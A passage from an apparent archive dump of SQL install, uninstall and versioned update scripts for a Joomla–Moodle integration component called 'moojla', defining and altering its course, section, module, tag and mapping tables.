) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_category_map` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`jcatid` INT(64) NULL DEFAULT 0,
`mcatid` INT(64) NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_cohort` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`course_group` INT(11) NOT NULL DEFAULT 0,
`mcohort` INT(11) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_mcohort` (`mcohort`),
KEY `idx_course_group` (`course_group`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_favorite` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`userid` INT(11) NOT NULL DEFAULT 0,
`courseid` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_rate` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`userid` INT(11) NOT NULL DEFAULT 0,
`courseid` INT(11) NOT NULL DEFAULT 0,
`rate` INT(4) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
--
-- Always insure this column rules is large enough for all the access
control values.
--
ALTER TABLE `#__assets` CHANGE `rules` `rules` TEXT NOT NULL COMMENT
'JSON encoded access control. Enlarged to TEXT by JCB';
sql/uninstall.mysql.utf8.sql000064400000001562151165724400012137
0ustar00DROP TABLE IF EXISTS `#__moojla_course`;
DROP TABLE IF EXISTS `#__moojla_course_field_mapper`;
DROP TABLE IF EXISTS `#__moojla_user_map`;
DROP TABLE IF EXISTS `#__moojla_user_field_map`;
DROP TABLE IF EXISTS `#__moojla_course_group_map`;
DROP TABLE IF EXISTS `#__moojla_enrolment`;
DROP TABLE IF EXISTS `#__moojla_tag`;
DROP TABLE IF EXISTS `#__moojla_tag_instance`;
DROP TABLE IF EXISTS `#__moojla_section`;
DROP TABLE IF EXISTS `#__moojla_module`;
DROP TABLE IF EXISTS `#__moojla_content`;
DROP TABLE IF EXISTS `#__moojla_category_map`;
DROP TABLE IF EXISTS `#__moojla_cohort`;
DROP TABLE IF EXISTS `#__moojla_favorite`;
DROP TABLE IF EXISTS `#__moojla_rate`;
--
-- Always insure this column rules is reversed to Joomla defaults on
uninstall. (as on 1st Dec 2020)
--
ALTER TABLE `#__assets` CHANGE `rules` `rules` varchar(5120) NOT NULL
COMMENT 'JSON encoded access control.';
sql/updates/index.html000064400000000054151165724400011011
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>sql/updates/mysql/1.0.0.sql000064400000001275151165724400011344
0ustar00ALTER TABLE `#__moojla_course` ADD `cat_id` INT(10) NOT NULL
DEFAULT 0 AFTER `asset_id`;
ALTER TABLE `#__moojla_course` ADD `cat_name` CHAR(255) NOT NULL DEFAULT
'' AFTER `cat_id`;
ALTER TABLE `#__moojla_course` ADD `cost` INT(50) NOT NULL DEFAULT 0 AFTER
`cat_name`;
ALTER TABLE `#__moojla_course` ADD `guest` INT(10) NOT NULL DEFAULT 0 AFTER
`cost`;
ALTER TABLE `#__moojla_course` ADD `mytextarea` TEXT NOT NULL AFTER
`guest`;
ALTER TABLE `#__moojla_course` ADD `mytextblock` TEXT NOT NULL AFTER
`mytextarea`;
ALTER TABLE `#__moojla_course` ADD `teachers` TEXT NOT NULL AFTER `name`;
ALTER TABLE `#__moojla_course` ADD `title` VARCHAR(255) NOT NULL DEFAULT
'' AFTER `teachers`;
sql/updates/mysql/1.0.1.sql000064400000000242151165724400011336
0ustar00ALTER TABLE `#__moojla_course` CHANGE `mytextblock` `summary` TEXT
NOT NULL;
ALTER TABLE `#__moojla_course` CHANGE `mytextarea` `summary_files` TEXT NOT
NULL;
sql/updates/mysql/1.0.10.sql000064400000000134151165724400011416
0ustar00ALTER TABLE `#__moojla_course` ADD `enddate` DATETIME NOT NULL
DEFAULT '' AFTER `currency`;
sql/updates/mysql/1.0.11.sql000064400000000257151165724400011425
0ustar00ALTER TABLE `#__moojla_course` CHANGE `enddate` `enddate` DATE NOT
NULL DEFAULT '';
ALTER TABLE `#__moojla_course` CHANGE `startdate` `startdate` DATE NOT NULL
DEFAULT '';
sql/updates/mysql/1.0.12.sql000064400000000263151165724400011423
0ustar00ALTER TABLE `#__moojla_course` CHANGE `enddate` `enddate` DATETIME
DATETIME NOT NULL;
ALTER TABLE `#__moojla_course` CHANGE `startdate` `startdate` DATETIME
DATETIME NOT NULL;
sql/updates/mysql/1.0.13.sql000064400000002757151165724400011436
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_section` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`name` VARCHAR(255) NOT NULL DEFAULT '',
`section_id` INT(10) NULL DEFAULT 0,
`summary` TEXT NOT NULL,
`visible` TINYINT(1) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
UNIQUE KEY `idx_section_id` (`section_id`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
ALTER TABLE `#__moojla_course` CHANGE `enddate` `enddate` VARCHAR(255) NULL
DEFAULT '0000-00-00 00:00:00';
ALTER TABLE `#__moojla_course` CHANGE `startdate` `startdate` VARCHAR(255)
NULL DEFAULT '0000-00-00 00:00:00';
sql/updates/mysql/1.0.14.sql000064400000000134151165724400011422
0ustar00ALTER TABLE `#__moojla_section` ADD `courseid` INT(10) NOT NULL
DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.15.sql000064400000002722151165724400011430
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_module` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`description` TEXT NOT NULL,
`modname` VARCHAR(255) NOT NULL DEFAULT '',
`module_id` INT(10) NOT NULL DEFAULT 0,
`module_section_id` INT(10) NOT NULL DEFAULT 0,
`name` VARCHAR(255) NOT NULL DEFAULT '',
`url` VARCHAR(255) NOT NULL DEFAULT '',
`visible` TINYINT(1) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
UNIQUE KEY `idx_module_id` (`module_id`),
KEY `idx_module_section_id` (`module_section_id`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.16.sql000064400000000120151165724400011417
0ustar00ALTER TABLE `#__moojla_module` ADD `modicon` TEXT NOT NULL AFTER
`description`;
sql/updates/mysql/1.0.17.sql000064400000002663151165724400011436
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_content` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`contents_module_id` INT(10) NOT NULL DEFAULT 0,
`filename` VARCHAR(255) NOT NULL DEFAULT '',
`filesize` INT(64) NOT NULL DEFAULT 0,
`fileurl` VARCHAR(255) NOT NULL DEFAULT '',
`mimetype` VARCHAR(64) NOT NULL DEFAULT '',
`type` VARCHAR(64) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
UNIQUE KEY `idx_contents_module_id` (`contents_module_id`),
KEY `idx_type` (`type`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.18.sql000064400000000150151165724400011424
0ustar00ALTER TABLE `#__moojla_content` ADD `file` VARCHAR(255) NOT NULL
DEFAULT '' AFTER `contents_module_id`;
sql/updates/mysql/1.0.19.sql000064400000000134151165724400011427
0ustar00ALTER TABLE `#__moojla_module` ADD `uservisible` TINYINT(1) NOT
NULL DEFAULT 0 AFTER `url`;
sql/updates/mysql/1.0.2.sql000064400000000123151165724400011335
0ustar00ALTER TABLE `#__moojla_course` CHANGE `summary_files` `mytextblock`
TEXT NOT NULL;
sql/updates/mysql/1.0.20.sql000064400000000141151165724400011415
0ustar00ALTER TABLE `#__moojla_section` ADD `uservisible` TINYINT(1) NOT
NULL DEFAULT 0 AFTER `summary`;
sql/updates/mysql/1.0.21.sql000064400000000155151165724400011423
0ustar00ALTER TABLE `#__moojla_course` ADD `permanent_fields` VARCHAR(64)
NOT NULL DEFAULT '' AFTER `in_enrol_date`;
sql/updates/mysql/1.0.22.sql000064400000000117151165724400011422
0ustar00ALTER TABLE `#__moojla_user_map` ADD `courses` TEXT NOT NULL AFTER
`asset_id`;
sql/updates/mysql/1.0.23.sql000064400000000143151165724400011422
0ustar00ALTER TABLE `#__moojla_user_map` ADD `mysecretvariable` TINYINT(1)
NOT NULL DEFAULT 0 AFTER `mid`;
sql/updates/mysql/1.0.24.sql000064400000002252151165724400011426
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_user_field_map` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`juserfields` VARCHAR(64) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_juserfields` (`juserfields`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.25.sql000064400000000156151165724400011430
0ustar00ALTER TABLE `#__moojla_user_field_map` ADD `muserfields`
VARCHAR(64) NOT NULL DEFAULT '' AFTER `juserfields`;
sql/updates/mysql/1.0.26.sql000064400000000134151165724400011425
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `course` INT(11) NOT NULL
DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.27.sql000064400000000127151165724400011430
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `jid` INT(11) NOT NULL
DEFAULT 0 AFTER `course`;
sql/updates/mysql/1.0.28.sql000064400000002326151165724400011434
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_course_group_map` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`course_group` INT(7) NOT NULL DEFAULT 0,
`mid` INT(64) NOT NULL DEFAULT 0,
`role` INT(7) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_mid` (`mid`),
KEY `idx_course_group` (`course_group`),
KEY `idx_role` (`role`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.29.sql000064400000000151151165724400011427
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `remoteid` INT(10) NOT
NULL DEFAULT 0 AFTER `course_group`;
sql/updates/mysql/1.0.3.sql000064400000000123151165724400011336
0ustar00ALTER TABLE `#__moojla_course` CHANGE `mytextblock` `summary_files`
TEXT NOT NULL;
sql/updates/mysql/1.0.30.sql000064400000000143151165724400011420
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `course` INT(11) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.31.sql000064400000000143151165724400011421
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `course` INT(11) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.32.sql000064400000000143151165724400011422
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `course` INT(11) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.33.sql000064400000000143151165724400011423
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `course` INT(11) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.34.sql000064400000000144151165724400011425
0ustar00ALTER TABLE `#__moojla_course_group_map` CHANGE `course`
`moojlacourse` INT(11) NOT NULL DEFAULT 0;
sql/updates/mysql/1.0.35.sql000064400000000155151165724400011430
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `moojlacourse` INT(11)
NOT NULL DEFAULT 0 AFTER `course_group`;
sql/updates/mysql/1.0.36.sql000064400000000142151165724400011425
0ustar00ALTER TABLE `#__moojla_user_field_map` ADD `iscv` TINYINT(1) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.37.sql000064400000002111151165724400011424
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_course_field_mapper` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`alias` INT(10) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_alias` (`alias`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.38.sql000064400000000001151165724400011421 0ustar00
sql/updates/mysql/1.0.39.sql000064400000000343151165724400011433
0ustar00ALTER TABLE `#__moojla_course_field_mapper` ADD `coursefield`
INT(10) NOT NULL DEFAULT 0 AFTER `asset_id`;
ALTER TABLE `#__moojla_course_field_mapper` ADD `mcoursefields` VARCHAR(64)
NOT NULL DEFAULT '' AFTER `coursefield`;
sql/updates/mysql/1.0.4.sql000064400000000577151165724400011354
0ustar00ALTER TABLE `#__moojla_course` ADD `currency` VARCHAR(10) NOT NULL
DEFAULT 0 AFTER `cost`;
ALTER TABLE `#__moojla_course` ADD `fullname` VARCHAR(255) NOT NULL DEFAULT
'' AFTER `currency`;
ALTER TABLE `#__moojla_course` ADD `remoteid` INT(10) NOT NULL DEFAULT 0
AFTER `guest`;
ALTER TABLE `#__moojla_course` ADD `shortname` VARCHAR(255) NOT NULL
DEFAULT '' AFTER `remoteid`;
sql/updates/mysql/1.0.40.sql000064400000000163151165724400011423
0ustar00ALTER TABLE `#__moojla_course_field_mapper` ADD `field_icon`
VARCHAR(255) NOT NULL DEFAULT '' AFTER `coursefield`;
sql/updates/mysql/1.0.41.sql000064400000000165151165724400011426
0ustar00ALTER TABLE `#__moojla_course_field_mapper` ADD `mcoursefields`
VARCHAR(64) NOT NULL DEFAULT '' AFTER `coursefield`;
sql/updates/mysql/1.0.42.sql000064400000000163151165724400011425
0ustar00ALTER TABLE `#__moojla_course_field_mapper` ADD `somefield`
VARCHAR(10) NOT NULL DEFAULT '' AFTER `mcoursefields`;
sql/updates/mysql/1.0.43.sql000064400000000162151165724400011425
0ustar00ALTER TABLE `#__moojla_course_field_mapper` ADD `imageicon`
VARCHAR(255) NOT NULL DEFAULT '' AFTER `coursefield`;
sql/updates/mysql/1.0.44.sql000064400000002354151165724400011433
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_course_field_mapper` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`coursefield` INT(10) NOT NULL DEFAULT 0,
`field_icon` VARCHAR(255) NOT NULL DEFAULT '',
`mcoursefields` VARCHAR(64) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_coursefield` (`coursefield`),
KEY `idx_mcoursefields` (`mcoursefields`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.45.sql000064400000004742151165724400011437
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_tag` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`isstandard` TINYINT(1) NOT NULL DEFAULT 0,
`tagid` INT(10) NOT NULL DEFAULT 0,
`tagname` VARCHAR(64) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_tagid` (`tagid`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_tag_instance` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`moodletag` INT(10) NOT NULL DEFAULT 0,
`moojlacourse` INT(11) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
UNIQUE KEY `idx_moodletag` (`moodletag`),
KEY `idx_moojlacourse` (`moojlacourse`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.46.sql000064400000002473151165724400011437
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_course_field_mapper` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`coursefield` INT(10) NOT NULL DEFAULT 0,
`field_icon` VARCHAR(255) NOT NULL DEFAULT '',
`mcoursefields` VARCHAR(64) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_mcoursefields` (`mcoursefields`),
KEY `idx_coursefield` (`coursefield`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.47.sql000064400000002220151165724400011426
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_tag_test` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`name` VARCHAR(255) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
